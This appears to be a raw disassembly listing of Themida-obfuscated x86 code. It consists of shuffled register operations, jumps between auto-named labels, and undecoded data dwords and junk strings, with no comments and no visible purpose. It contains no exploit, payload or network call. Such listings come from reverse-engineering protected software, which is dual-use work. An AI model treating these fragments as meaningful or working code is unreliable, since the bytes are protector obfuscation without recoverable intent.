jmp loc_50AB18 ; --------------------------------------------------------------------------- dd 81E78957h, 4C7h, 4C78300h, 5C243C87h, 28F2B151h, 0D80059C8h dd 0CC68F204h, 89000002h, 0B050241Ch, 0C18851B0h, 5859CB88h dd 1C8BD800h, 72DFE924h, 0A9680000h, 5B781157h, 13239E9h dd 2434FF00h, 582434FFh, 3C8B5457h, 4C48324h, 4EC8353h dd 0B8240489h, 37877EB9h, 0E9585B50h, 72DCh, 0D5E9CD89h dd 52000109h, 47E9E289h db 57h, 2 dup(0) byte_50474F db 0FFh ; DATA XREF: Themida_:0050294Co dd 34FF2434h, 24048B24h, 0E904C483h, 0E402h, 68515359h dd 34CE383Dh, 0F7E2E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50476E: ; CODE XREF: Themida_:00511A4Ej sub ebp, 0A1BBC7F6h sub edi, ebp pop ebp push ebx mov ebx, 5C113097h sub edi, ebx pop ebx push dword ptr [esp] pop ebp add esp, 4 and ecx, edi jmp loc_516923 ; --------------------------------------------------------------------------- word_50478E dw 0AD66h ; DATA XREF: Themida_:00502920o dd 4EC81h, 1BE90000h, 31FFFFFAh, 0DEDFE9DDh db 2 dup(0) word_5047A2 dw 8B66h ; DATA XREF: Themida_:00502878o dd 8952240Ch, 42BB53E2h, 576E8A4Ch, 775155BFh, 74CF8112h dd 4733E53Bh, 0A9EF8147h, 11DF0FCh, 0E3C15FFBh, 81DBF702h dd 0BCD3C4F3h, 8BDA01EDh, 21E9241Ch db 0E7h, 2 dup(0FFh) byte_5047DB db 0FFh ; DATA XREF: Themida_:005028C0o dd 34FF2434h db 24h, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 1B69h jmp loc_510388 ; --------------------------------------------------------------------------- db 89h dd 24BB241Ch, 81226F05h, 7E610AE3h, 0CEBF5757h, 0F7136F46h dd 0B7E953DFh, 500009Fh, 48648004h, 3852E9h db 0 ; --------------------------------------------------------------------------- loc_504825: ; CODE XREF: Themida_:00504480j push dword ptr [esp] jmp loc_502EBA ; --------------------------------------------------------------------------- aZsz db ')ÓZé§Ó',0 dd 53055F00h, 553A2107h, 0CA76CBBDh, 1EED8148h, 815FA94Ch dd 117BA2E5h, 85E58177h, 0E96B612Fh, 74CCh, 5BD88959h dd 8904EC83h, 0DEBB241Ch, 817D8040h, 0DC3BCEEAh, 81DA0116h dd 0DC3BCEC2h, 0B2E95B16h, 4000099h, 0E9480420h, 1366Ch dd 75BD555Ah, 902C855h, 0E9535DEFh, 5463h ; --------------------------------------------------------------------------- loc_504894: ; CODE XREF: Themida_:00503111j pop edi pop eax sub eax, edi pop edi jmp loc_50A747 ; --------------------------------------------------------------------------- loc_50489E: ; CODE XREF: Themida_:0051600Dj add ecx, ebp pop ebp add ecx, 4 jmp loc_5133A2 ; --------------------------------------------------------------------------- loc_5048AC: ; CODE XREF: Themida_:0050CF37j mov esi, 4 jmp loc_510F6F ; --------------------------------------------------------------------------- dw 0EC83h dd 243C8904h, 2BFh, 2C59E900h, 0C3010000h, 8D1DE9h db 0 ; --------------------------------------------------------------------------- loc_5048CD: ; CODE XREF: Themida_:0051572Ej pop dword ptr [esp] pop esp mov [esp], edi xor dword ptr [esp], 2FEF5D6Ah pop eax push 67D2h mov [esp], esi mov esi, 2FEF5D6Ah xor eax, esi pop esi push dword ptr [esp] mov edi, [esp] add esp, 4 push ebx mov ebx, esp push ebp jmp loc_512FA5 ; --------------------------------------------------------------------------- dw 0BA52h dd 31BE3B59h, 102C2E9h, 0BE95200h, 510000F0h, 0FB25D2B9h dd 59CA894Bh, 895AD331h, 0A1E95BD8h, 0B9000060h, 40374536h dd 0E949E9D1h, 2577h, 2474FF52h, 48F5A04h, 24248B24h, 4C98E9h dd 0C1895800h, 4C015F58h, 0D2E90424h db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_50494F: ; CODE XREF: Themida_:0050A295j xchg ebp, [esp] pop esp jmp loc_5098EB ; --------------------------------------------------------------------------- loc_504958: ; CODE XREF: Themida_:0050D213j mov ebp, 0 sub ebp, ebx mov ebx, ebp pop ebp shl ebx, 5 inc ebx push 427Fh mov [esp], edi jmp loc_50C98C ; --------------------------------------------------------------------------- loc_504973: ; CODE XREF: Themida_:00508CB1j add esi, 4 xchg esi, [esp] pop esp add esp, 4 push 1707h jmp loc_50DF6F ; --------------------------------------------------------------------------- dw 0C89h dd 0B5515024h, 80CDFEAEh, 0C58042CDh, 0BAF5802Eh, 8159E888h dd 4ECh, 24048900h, 885296B4h, 5AF588E6h, 1C16E958h, 51500000h dd 0EC88DD88h, 58E58859h, 0E9EA8852h, 1160Eh, 8107E1C1h dd 3517BE1h, 5FBB537Fh, 2969FF57h, 3E41E9D9h, 0B5680000h dd 8900006Eh, 0B8502424h, 4, 4244401h, 0BAFAE9h, 0BF575A00h dd 2F3364C5h, 0EF46E9h db 0 ; --------------------------------------------------------------------------- loc_504A01: ; CODE XREF: Themida_:00515626j xchg ebp, [esp] mov esp, [esp] push eax mov eax, 4 jmp loc_508787 ; --------------------------------------------------------------------------- loc_504A12: ; CODE XREF: Themida_:0050FEEAj mov ebx, 125A3C57h and ecx, ebx pop ebx push ecx jmp loc_510423 ; --------------------------------------------------------------------------- dd 65C28159h, 13C2C2Dh, 65EA81F2h, 5E3C2C2Dh, 34E9D501h dd 450000E6h, 43F5814Dh, 81513167h, 78D15BC5h, 25ADE9EEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_504A4A: ; CODE XREF: Themida_:0050F39Dj shr ecx, 4 xor ecx, 5B447441h sub ecx, 4980E850h xor ebx, ecx pop ecx jmp loc_512809 ; --------------------------------------------------------------------------- db 88h, 3Ah, 8Bh dd 0B6E9241Ch db 3, 1, 0 ; --------------------------------------------------------------------------- loc_504A6B: ; CODE XREF: Themida_:00510AE9j add esi, 4 push 0A3Eh mov [esp], eax jmp loc_516080 ; --------------------------------------------------------------------------- loc_504A7E: ; CODE XREF: Themida_:00515C2Cj pop edi xor edi, ecx pop ecx sub ebx, edi pop edi xchg ebx, [esp] pop esp mov [esp], edx mov edx, 4 jmp loc_50EA6D ; --------------------------------------------------------------------------- loc_504A96: ; CODE XREF: Themida_:0051368Aj mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx push esp jmp loc_509A10 ; --------------------------------------------------------------------------- aLSxo db '‹<$éXŽ',0 db 0 ; --------------------------------------------------------------------------- loc_504AB9: ; CODE XREF: Themida_:005039C2j mov [esp], esi jmp loc_50339F ; --------------------------------------------------------------------------- loc_504AC1: ; CODE XREF: Themida_:00513192j mov ecx, 31DC6C90h xor ecx, 43F608C0h shl ecx, 7 not ecx add ecx, 383651CBh xor edi, ecx mov ecx, [esp] add esp, 4 or edi, 1A70399Fh shl edi, 3 xchg edx, edi jmp loc_50C9DB ; --------------------------------------------------------------------------- dd offset byte_52B568 dw 0E900h dd 412Bh, 497A68h, 243C8900h, 1339CE9h, 7B102D00h, 0EC8342B3h dd 0E203E904h, 8197FFFFh, 0CD5FC8C7h, 0FB63E9CEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_504B22: ; CODE XREF: Themida_:0050BFAEj push ebp mov ebp, 7B47186Ch add ebx, ebp pop ebp pop ecx xchg ebx, [esp] mov esp, [esp] mov [esp], eax sub esp, 4 mov [esp], edx mov edx, 40C95F77h sub edx, 1 jmp loc_50F3A2 ; --------------------------------------------------------------------------- dd 61177F2Dh, 0AAD12D22h, 0C7012746h, 8324048Bh, 0EF8104C4h dd 4, 0DFDCE9h, 58C50100h, 0E95DEB89h, 0CDB2h, 2CB9515Bh dd 0C1156457h, 0F9E905E1h, 5FFFFFF7h, 0B3E7814Fh, 81645908h dd 0B024A0F7h, 5FF88909h, 5C8E9h db 0 ; --------------------------------------------------------------------------- loc_504B95: ; CODE XREF: Themida_:0051212Ej sub esp, 4 mov [esp], edx mov edx, 256C3D3Ah jmp loc_51132C ; --------------------------------------------------------------------------- dd 4EF8158h, 29D9FD84h, 0D1015FF9h, 4124BE56h, 73E90342h dd 5C00006Ah, 56242489h, 0F992E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_504BCA: ; CODE XREF: Themida_:005094EBj xor ebp, 470FE27Dh add ebx, ebp jmp loc_510D55 ; --------------------------------------------------------------------------- db 89h dd 4C381E3h, 0E9000000h, 0DB35h ; --------------------------------------------------------------------------- loc_504BE4: ; CODE XREF: Themida_:00515096j mov eax, 1F753914h sub edi, eax push dword ptr [esp] jmp loc_50DAC8 ; --------------------------------------------------------------------------- db 0B1h dd 2883B21Ch, 6E959CAh, 52000091h, 6F4FA4BAh, 38F28117h dd 0E9194C12h, 0E032h ; --------------------------------------------------------------------------- loc_504C10: ; CODE XREF: Themida_:0050402Bj push eax push dword ptr [esp+4] jmp loc_508379 ; --------------------------------------------------------------------------- dw 0EA80h dd 0E9D420CFh, 12CC0h, 884496BBh, 1320E973h, 0F3810001h dd 1C325E7Ah, 6660CB81h, 0F3812670h, 0BEFDE6EDh, 0B096E9h db 0 ; --------------------------------------------------------------------------- loc_504C45: ; CODE XREF: Themida_:00516650j add esi, ebp pop ebp push edx mov edx, 4 sub esi, edx pop edx xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], esi push 41ADh mov [esp], edi mov edi, 1FFF50C8h sub esp, 4 mov [esp], eax jmp loc_50F311 ; --------------------------------------------------------------------------- dw 0D7F7h dd 7DA9E9h, 24048900h, 0FF2434FFh, 1C8B2434h, 4C48124h dd 83000000h, 826804C4h, 89000009h, 8B542434h db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5149D8 ; --------------------------------------------------------------------------- dd 4C481h, 0A6680000h, 8900003Eh, 0EC832414h, 0F9E9E904h dd 0FF550000h, 0E9042474h, 13050h dword_504CCC dd 4A6A05ADh, 95687212h, 89000030h, 7DB9240Ch, 81233421h ; DATA XREF: Themida_:005029F8o dd 1961A2F1h, 1582052Ah, 0BD2D1ED3h, 0E9514201h, 8D31h ; --------------------------------------------------------------------------- loc_504CF4: ; CODE XREF: Themida_:0051615Ej pop ecx sub bh, 61h xor bh, 0E7h push ebx not byte ptr [esp+1] jmp loc_51323C ; --------------------------------------------------------------------------- loc_504D05: ; CODE XREF: Themida_:00513B4Aj pop edi sub ebp, 4 jmp loc_50714C ; --------------------------------------------------------------------------- dw 0ED81h dd 39A17AA0h, 66C8F581h, 524D1BB3h, 31637EBAh, 0E2C1424Eh dd 4ADAF708h, 7C8AF281h, 0C4E90C94h, 0F7000124h, 0E95A2414h dd 6785h, 4244C31h, 0E9028F59h, 0EF1Dh ; --------------------------------------------------------------------------- loc_504D48: ; CODE XREF: Themida_:0050A301j neg ecx xor ecx, 6F3F7524h sub ecx, 0BD06A3C0h or eax, ecx pop ecx xor eax, 4A263104h push edi mov edi, 0C9974ABh or eax, edi pop edi sub eax, 7BF5772Eh add ecx, eax pop eax push edx push ecx mov ecx, 23CF6B35h shr ecx, 3 push esi mov esi, 499066B9h and ecx, esi pop esi sub ecx, 106420h mov edx, ecx mov ecx, [esp] add esp, 4 push ebp mov ebp, 43EB4359h add edx, ebp jmp loc_505F90 ; --------------------------------------------------------------------------- loc_504D9D: ; CODE XREF: Themida_:0050C95Cj pop ebx jmp loc_513131 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 0C7ECE900h, 8D050000h, 81456EF1h, 50174EEBh, 81C32959h dd 50174EC3h, 55535859h, 69350ABDh, 246C0124h, 55595D04h dd 186D1ABDh, 4DDDF71Dh, 5108F581h, 0CD8160DCh, 752371E7h dd 0C6E5F581h, 0E929D352h, 241C8B5Dh, 104C483h, 2434FFCAh dd 81240C8Bh, 4C4h, 0E2895200h, 4C281h, 0C2830000h, 24148704h dd 5FDDE9h db 0 ; --------------------------------------------------------------------------- loc_504E15: ; CODE XREF: Themida_:00504019j mov [esp], edi jmp loc_50A9EE ; --------------------------------------------------------------------------- db 54h, 58h, 57h dd 6E396BBFh, 0FFEF8169h, 81FFFFFFh, 0FE6768CFh, 98C78106h dd 1900180h, 0E7685FF8h, 89000024h, 96E9243Ch, 89000066h dd 4C781E7h, 81000000h, 4C7h, 243C8700h, 81425E5Ch, 0EE7E69C2h dd 2BF3E93Fh, 0C7810000h, 0FFFFFFFFh, 52C4F781h, 0F801639Dh dd 68D02D5Fh, 0D8017B03h, 368D005h, 0FC83E97Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_504E86: ; CODE XREF: Themida_:0051236Ej mov [esp], ebx push dword ptr [esp] jmp loc_507531 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 83000000h, 895604C3h, 4C681E6h, 81000000h, 4EEh, 24348700h dd 241C895Ch, 30E9E389h db 0Fh, 1, 0 ; --------------------------------------------------------------------------- loc_504EB7: ; CODE XREF: Themida_:00513C50j mov esp, [esp] jmp loc_50E7B3 ; --------------------------------------------------------------------------- loc_504EBF: ; CODE XREF: Themida_:00509CA3j mov eax, [esp] add esp, 4 push ebp not dword ptr [esp] mov ebp, [esp] push 68D9h mov [esp], ecx mov ecx, esp push eax mov eax, 4 add ecx, eax mov eax, [esp] add esp, 4 add ecx, 4 xchg ecx, [esp] pop esp push ecx push ebx mov ebx, 8BB6626h jmp loc_514512 ; --------------------------------------------------------------------------- aUUsim db 'U½Ð|#UéiŒ',0 dw 8B00h dd 0E957240Ch, 0FFFFEC7Bh ; --------------------------------------------------------------------------- loc_504F14: ; CODE XREF: Themida_:0050327Fj pop ebp jmp loc_50D6D4 ; --------------------------------------------------------------------------- dw 0EC05h dd 508A379h, 22C509B4h, 5C8A68h, 243C8900h, 2E382ABFh dd 6651683Eh, 2C890000h, 430BBD24h, 0C5810919h, 0FFFFFFFFh dd 8F6E581h, 0E5C12C9Ah, 0B17CE903h, 965F0000h, 42E9FE87h dd 8B00009Dh, 34FF2424h, 0E9685824h, 0E9000071h, 0FFFFF6B3h dword_504F6C dd 240C8B66h, 70566852h, 8F540000h, 0BB532404h, 4, 0FFF2E6E9h ; DATA XREF: Themida_:005029ECo db 0FFh ; --------------------------------------------------------------------------- loc_504F85: ; CODE XREF: Themida_:005169ABj xchg ebp, [esp] pop esp jmp loc_50A2BB ; --------------------------------------------------------------------------- loc_504F8E: ; CODE XREF: Themida_:00503038j pop esp add esp, 4 jmp loc_50F86F ; --------------------------------------------------------------------------- dw 0DA01h dd 55C2015Bh, 145129BDh, 5DEA2971h, 4EC81h, 0C890000h dd 152EE924h, 8EBF0000h, 16C724Fh, 0D6F75FFEh, 0F0C1EE81h dd 0F0012B9Dh, 0B5D1E9h, 0E7895700h, 4C781h, 79E90000h dd 0BA000107h, 4, 148BD689h, 4C48124h, 89000000h, 24348BF1h dd 2904C483h, 0FC39E9CAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_504FFA: ; CODE XREF: Themida_:00509976j push dword ptr [esp] jmp loc_512E2F ; --------------------------------------------------------------------------- dw 4BDh dd 1000000h, 0B8505DEBh, 5C715671h, 8EA99305h, 8BC301A3h dd 0C4832404h, 74FF5304h, 1C8B0424h, 4EC8324h, 47BBE9h dd 5BFD8800h, 8124148Bh, 4C4h, 0C9AEE900h db 2 dup(0) word_50503E dw 8B66h ; DATA XREF: Themida_:005027F8o dd 4EE9240Ch, 0BF0000EFh, 63DA06B0h, 0C8E9D7F7h db 0Bh, 1, 0 ; --------------------------------------------------------------------------- loc_505053: ; CODE XREF: Themida_:00507ED8j add edx, edi mov edi, [esp] push edx mov edx, esp add edx, 4 jmp loc_5092D3 ; --------------------------------------------------------------------------- loc_505066: ; CODE XREF: Themida_:00512904j mov ebx, 0B534A81h add [esp+4], ebx pop ebx mov esi, [esp] jmp loc_50875E ; --------------------------------------------------------------------------- dd 6680BBh, 0CB814B1Bh, 446460FDh, 0A652E9h, 24148B00h dd 81E78957h, 4C7h, 0EA42E900h, 0DDF7FFFFh, 0D531EA31h dd 3F27E9h, 4C48300h, 5571C381h, 0D8011BA4h, 5B2434FFh dd 2D04C483h, 3C8706A4h, 5255D829h, 0F14AE9h, 0F8E95700h db 91h, 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_506BD3 ; --------------------------------------------------------------------------- loc_5050D3: ; CODE XREF: Themida_:00506D00j sub dword ptr [esp+4], 483A68E2h mov edx, [esp] add esp, 4 pop ebx jmp loc_514B4B ; --------------------------------------------------------------------------- dw 5559h dd 42474FFh, 50242C8Bh, 0BE56E089h, 0BBA5B09h, 3809F681h dd 0C6814632h, 1A675CACh, 116868h, 243C8900h, 0FFFEA1E9h db 0FFh ; --------------------------------------------------------------------------- loc_505115: ; CODE XREF: Themida_:00511A9Fj sub ch, 4Eh add ch, 3Bh xor dl, ch pop ecx push 188Fh mov [esp], edx mov dh, 0FAh sub bl, 27h add bl, dh add bl, 27h jmp loc_50B225 ; --------------------------------------------------------------------------- db 83h, 0E9h, 4 dd 5C240C87h, 83240C89h, 248904ECh, 90E924h, 0DA880000h dd 5E2C05Bh, 0FFFAC5E9h, 243489FFh, 4DFBE9h, 3E0C100h dd 577B8305h, 23D3E94Bh, 4890000h, 5FB0E924h, 1C890000h dd 0B32BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50517A: ; CODE XREF: Themida_:00505E5Cj mov ch, 41h sub al, ch pop cx pop edx xor bl, al movzx eax, al jmp loc_5161D1 ; --------------------------------------------------------------------------- byte_50518B db 0ADh ; DATA XREF: Themida_:00502A2Co dd 1CF4BB53h, 0FB875A1Ah, 0FB87D7F7h, 5008E3C1h, 9D7BB7B8h dd 4CE9574Ch, 56000057h, 965A8EBEh, 2CE68174h, 0E919F355h dd 0D20h, 875EF029h, 77E92404h, 81000036h, 4ECh, 24248900h dd 4240483h, 0EC83505Ah, 64FCE904h, 0B8500000h, 4, 4244401h dd 1F93E9h, 0E6BE5600h, 8104ED33h, 760001C6h, 0B6CE8113h dd 81668F34h, 0EF37F3EEh, 6CC2817Eh, 119D628h, 6CEA81F2h dd 5E19D628h, 110EDE9h, 0E9C20100h, 10125h ; --------------------------------------------------------------------------- loc_50521C: ; CODE XREF: Themida_:00517DB2j pop esp mov [esp], edi jmp loc_513A71 ; --------------------------------------------------------------------------- aKViLSB db '»k,}V‰Ù[)L$',8,'é}¡',0 align 2 loc_505236: ; CODE XREF: Themida_:005107F9j push small 7F50h mov [esp], dx mov dl, 5Fh xor bl, dl mov dx, [esp] push 4BD6h mov [esp], ebx mov ebx, esp push ebp mov ebp, 4 jmp loc_5156B7 ; --------------------------------------------------------------------------- db 5Fh dd 83243C8Bh, 0EA8304C4h, 24148704h, 240C895Ch, 2BF57h dd 0F9890000h, 0E171E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_50527A: ; CODE XREF: Themida_:0050D5DAj push 2F061EF9h pop edi sub edi, 0B0031711h mov ebx, edi mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_50D20E ; --------------------------------------------------------------------------- dd 4C406205h, 8BC30120h, 8FE92404h, 0FE00002Fh, 41EE80C6h dd 53F9E9h db 0 ; --------------------------------------------------------------------------- loc_5052B5: ; CODE XREF: Themida_:005105BAj xor [esp], ebp xor ebp, [esp] pop esp mov [esp], ebx mov ebx, 4 push ebx jmp loc_509165 ; --------------------------------------------------------------------------- dw 0C381h dd 59E90CAAh, 0D5D5E9h, 0C2E98100h, 0E97A8712h, 787Dh dd 0DF62C1BBh, 0E9DF893Eh, 2975h, 8104C483h, 4C6h, 2BB5300h dd 1000000h, 34335BDEh, 24343124h, 5C243433h, 240C8B66h dd 0F6CCE956h, 0E681FFFFh, 56E07392h, 72AF681h, 46E976FBh db 3Bh, 2 dup(0) byte_505323 db 66h ; DATA XREF: Themida_:00502A24o dd 8324048Bh, 348904ECh, 1A2DE924h, 0E6890001h, 0D958E9h db 0 ; --------------------------------------------------------------------------- loc_505339: ; CODE XREF: Themida_:0050E753j push ecx push ebp mov ebp, 19A561CFh jmp loc_50D15F ; --------------------------------------------------------------------------- loc_505345: ; CODE XREF: Themida_:00512E59j push 2109h mov [esp], esp jmp loc_510018 ; --------------------------------------------------------------------------- aSqs_ db 'SQéÂ_',0 db 0 ; --------------------------------------------------------------------------- loc_505359: ; CODE XREF: Themida_:0051137Aj mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push edx mov edx, 1 and ecx, edx push dword ptr [esp] push dword ptr [esp] pop edx push 3935h mov [esp], esi mov esi, esp jmp loc_50F9AF ; --------------------------------------------------------------------------- db 1 dd 7D142DD8h, 34FF11DAh, 0C4815B24h, 4, 0DE1FE9h db 0 ; --------------------------------------------------------------------------- loc_505399: ; CODE XREF: Themida_:00511194j push 3FCFh mov [esp], ecx push ebx push 629831A3h pop ebx jmp loc_51212D ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 5D000000h, 478E9h, 39E95200h, 2900006Ch, 0C335BD9h dd 240C3124h, 8B240C33h, 4892424h, 222C6824h, 24890000h dd 4B85024h, 1000000h, 58042444h, 17E95758h db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5053EB: ; CODE XREF: Themida_:00511938j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push edi mov edi, 4 add ebp, 5D143093h add ebp, edi sub ebp, 5D143093h pop edi xchg ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], edx mov dl, 90h push ecx mov cl, 0A0h push 4820h mov [esp], ebx mov bl, cl jmp loc_516CF7 ; --------------------------------------------------------------------------- loc_505436: ; CODE XREF: Themida_:0050FAE6j push esi push esp pop esi push ebp jmp loc_51664B ; --------------------------------------------------------------------------- db 66h dd 2E9515Bh db 79h, 0 byte_505446 db 0 ; DATA XREF: ___:off_4274D8o ; --------------------------------------------------------------------------- loc_505447: ; CODE XREF: Themida_:0050CF14j push dword ptr [esp] pop esi add esp, 4 push dword ptr [esp] mov ecx, [esp] jmp loc_503825 ; --------------------------------------------------------------------------- aQtsqp db 'QTéŸp',0 db 0 ; --------------------------------------------------------------------------- loc_505463: ; CODE XREF: Themida_:00517B8Dj add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov [esp], esi xchg edx, [esp] not edx xchg edx, [esp] mov esi, [esp] push ebx push esp pop ebx push 70h jmp loc_511DB0 ; --------------------------------------------------------------------------- db 81h dd 9A56AAEDh, 2434FF7Ch, 4EC8359h, 54240C89h, 4C18159h dd 81000000h, 4C1h, 0A9A2E900h, 535C0000h, 8904EC83h, 0C3BE2434h dd 894F4746h, 0CDE95EF3h db 15h, 1, 0 ; --------------------------------------------------------------------------- loc_5054CB: ; CODE XREF: Themida_:00503B5Ej sub ebp, 4CE76143h pop ebx add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_512DF0 ; --------------------------------------------------------------------------- loc_5054E3: ; CODE XREF: Themida_:0050E035j neg ebx push ebp mov ebp, 586C73F9h xor ebx, ebp jmp loc_50D00F ; --------------------------------------------------------------------------- dw 0D801h dd 0D23B7A05h, 786AE904h, 14890000h, 4B046824h, 93680000h dd 89000001h, 4832424h, 48F0424h, 0B8505124h, 505135EAh dd 294FBA52h, 814A62D5h, 5C5ABEC2h, 0C2814230h, 6D2CB601h dd 2D5AD021h, 1FBC11C8h, 8650ED0Dh, 41842567h, 0E9485635h dd 0A08Eh, 17E60558h, 0C189E362h, 0E046E958h, 895CFFFFh dd 6856240Ch, 4CA86DC4h, 153AE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_505566: ; CODE XREF: Themida_:0050E580j add eax, 56352508h shr eax, 8 or eax, 70E20F91h xor eax, 1D0B4533h push edi mov edi, 711A7D65h jmp loc_50B8DD ; --------------------------------------------------------------------------- db 81h dd 0FE74CDC1h, 6E9C143h, 79EAE9h, 4C48300h, 0FFF967E9h db 0FFh ; --------------------------------------------------------------------------- loc_505599: ; CODE XREF: Themida_:0051298Cj or eax, eax jz loc_50A2BB push dword ptr [edi+1Ch] push edx push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_50B38C ; --------------------------------------------------------------------------- dw 0F681h dd 52942389h, 295EF529h, 242C8BE9h, 4C481h, 0CD290000h dd 1CED8159h, 8138D4DDh, 0D74B95E9h, 71F5E91Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5055DE: ; CODE XREF: Themida_:00509588j sub eax, 0DC91BA29h and eax, 5696047Bh add eax, 0E979FBA1h add ebx, eax pop eax sub esp, 4 mov [esp], ebx jmp loc_505886 ; --------------------------------------------------------------------------- dw 815Ah dd 0E0C526C6h, 0F893E9B1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50560A: ; CODE XREF: Themida_:00507C5Cj mov [esp], edi push 1 mov edi, [esp] jmp loc_50630F ; --------------------------------------------------------------------------- dw 0DA09h dd 1EA835Bh, 0F707E2C1h, 0ABF281DAh, 2987BF7Ah, 2434FFD0h dd 0E289525Ah, 97D3E9h, 5528B900h, 0C1492F87h, 0F18102E9h dd 63A56905h, 18BFBB53h, 0C6E95DE7h, 810000D4h, 4C2h, 0A120E900h dd 0BD0000h, 29000000h, 5DEA89D5h, 29E9DAF7h, 0BE0000F9h dd 4BC75972h, 596EEE81h, 0CFE94BC7h db 0EEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50567F: ; CODE XREF: Themida_:0051157Ej add ebp, 2AA26B2Fh sub ebp, ecx sub ebp, 2AA26B2Fh pop ecx mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add ebp, 2CFC4E8Bh jmp loc_51509B ; --------------------------------------------------------------------------- db 29h dd 535F5AD0h, 8904EC83h, 0B3E92414h db 3, 1, 0 ; --------------------------------------------------------------------------- loc_5056BF: ; CODE XREF: Themida_:005058CAj pop esi add eax, ebp pop ebp push eax push dword ptr [esp+4] mov eax, [esp] jmp loc_50D0BA ; --------------------------------------------------------------------------- dword_5056D0 dd 86FBA52h, 0E28161C6h, 12903B08h, 5B24E9h, 24148B00h ; DATA XREF: Themida_:005028D4o dd 678768h, 242C8900h, 10D3CE9h db 0 ; --------------------------------------------------------------------------- loc_5056F1: ; CODE XREF: Themida_:0050B54Aj add esp, 4 mov esi, ebp pop ebp mov edx, 2D6B34B9h sub edx, 51C8353Ch add edx, esi add edx, 51C8353Ch mov esi, [esp] add esp, 4 jmp loc_50AD9E ; --------------------------------------------------------------------------- db 54h, 8Fh, 4 dd 24048324h, 241C8B04h, 5E016851h, 24890000h, 24048324h dd 51E95904h, 420000A7h, 7518EA81h, 0EAD1566Dh, 0A326C281h dd 0D6298A39h, 0E389535Ah, 4C381h, 6EE90000h, 5700004Dh dd 0D1725DBFh, 0CAF7814Bh, 817CE622h, 0B85E6AE7h, 0C7814712h dd 19B66B86h, 315FFA31h, 24148BD3h, 0E904C483h, 9580h dword_50577C dd 0C0BA52ADh, 0E952F260h, 0FFFFFFABh, 333AB951h, 5E955DBh ; DATA XREF: Themida_:005028E0o dd 81000126h, 8179E7EBh, 81F3296Fh, 8179E7C3h, 24348B6Fh dd 171DE951h db 1, 0 ; --------------------------------------------------------------------------- loc_5057AA: ; CODE XREF: Themida_:00502D75j inc ebp jmp loc_504013 ; --------------------------------------------------------------------------- dd 99A4C781h, 0F929FFB4h, 240C875Fh, 34CDE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5057C2: ; CODE XREF: Themida_:00506212j pop ebp jmp loc_50749F ; --------------------------------------------------------------------------- dd 0E973C280h, 0EBAh, 9C242CD3h, 0FFD2F2E9h, 0AAE959FFh dd 10000F1h, 41BA52D3h, 13B4B2Bh, 0E5D7E9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5057EE: ; CODE XREF: Themida_:00502AD6j mov dh, 73h and dh, 0C7h push 4BC5h mov [esp], ebx mov bl, 40h or dh, bl push dword ptr [esp] pop ebx add esp, 4 dec dh jmp loc_5151F1 ; --------------------------------------------------------------------------- loc_505810: ; CODE XREF: Themida_:00505ABAj mov ecx, ebx pop ebx push 7549h mov [esp], edx mov edx, 24h sub edx, 0CA837D8h sub edx, 139C2423h jmp loc_50EAE2 ; --------------------------------------------------------------------------- db 51h, 89h, 0E1h dd 4C181h, 0E9810000h, 4, 31240C33h, 0C33240Ch, 14895C24h dd 44F6BA24h, 0BD550A62h, 1, 505DEA29h, 940494B8h, 58C22997h dd 18216852h, 2C890000h, 2434FF24h, 209DE9h, 241C8900h dd 744BD668h, 2434FF32h, 2540E95Bh db 1, 0 ; --------------------------------------------------------------------------- loc_505886: ; CODE XREF: Themida_:005055F9j push dword ptr [esp+4] jmp loc_50909A ; --------------------------------------------------------------------------- db 81h dd 4C4h, 97C28100h, 0E946F034h, 5DB8h ; --------------------------------------------------------------------------- loc_5058A0: ; CODE XREF: Themida_:00515C3Aj mov edi, 9E623A4h xor edi, 9E623A0h add ecx, edi push dword ptr [esp] pop edi add esp, 4 sub ecx, 4 jmp loc_50F8E7 ; --------------------------------------------------------------------------- loc_5058BC: ; CODE XREF: Themida_:00507866j pop esp push ebx jmp loc_507B9E ; --------------------------------------------------------------------------- loc_5058C3: ; CODE XREF: Themida_:00516E75j mov esi, 4 push esi pop ebp jmp loc_5056BF ; --------------------------------------------------------------------------- db 83h dd 0B9E904C4h, 51000117h, 0F98A6BB9h, 59CF01BDh, 4498C181h dd 0E9810A2Eh, 0D772E17h, 0C181F929h, 0D772E17h, 68C6E9h dd 24048100h, 5BAB741Ch, 1CEA815Ah, 5B5BAB74h, 3AE9D2F7h dd 0FF0000B6h, 83592434h, 0C7E904C4h, 6800000Eh, 3601h dd 0B4240489h, 0C190E922h, 